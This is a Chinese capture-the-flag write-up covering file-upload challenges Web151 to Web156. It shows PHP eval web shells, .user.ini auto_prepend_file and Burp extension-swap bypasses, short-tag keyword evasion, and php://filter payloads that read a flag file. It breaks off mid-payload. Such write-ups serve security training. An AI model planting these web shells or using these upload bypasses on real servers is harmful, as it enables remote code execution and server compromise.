Web151
前端验证不可靠。上传图片马后,使用 Burp Suite 修改请求包将后缀改为 php。
Payload:
<?= phpinfo(); eval($_POST['pass']); ?>
Flag 位于 flag.php 目录下,无法直接 cat 查看。可使用以下方法读取:
pass=include('php://filter/convert.base64-encode/resource=../flag.php');
pass=show_source('../flag.php');
Web152
后端检验 MIME 类型(Content-Type)。常见类型包括 text/html、application/json、multipart/form-data 等。本次要求 image/png,上一题的做法依旧可行。
Web153(上传.user.ini 绕过后缀)
.php 后缀被过滤,可通过 .user.ini 或 .htaccess 绕过。
.user.ini 可设置特定目录的 PHP 配置,覆盖全局 php.ini。利用 auto_prepend_file 参数可将指定文件作为 PHP 包含到主文件中执行。
- 创建 .user.ini 文件,上传时添加 png 后缀,Burp 改回。
auto_prepend_file=shell.png - 上传 shell.png(实际为 PHP 代码)。
- 访问 /upload 目录,shell.png 会自动执行。
Web154(短标签绕过关键字)
文件内容不允许有 php 关键字。可使用短标签或 ASP 风格标签。
<?php @eval($_POST['cmd']); ?>
<?=@eval($_POST['cmd']); ?>
<% @eval($_POST['cmd']); %>
<script language='php'>@eval($_POST['cmd']);</script>
其余做法与上题一致,同样需要 .user.ini 绕过。
Web155
同 Web154。
Web156([] 过滤)
过滤项:php 后缀、php 关键字、中括号。可用大括号代替。
<?= @(())

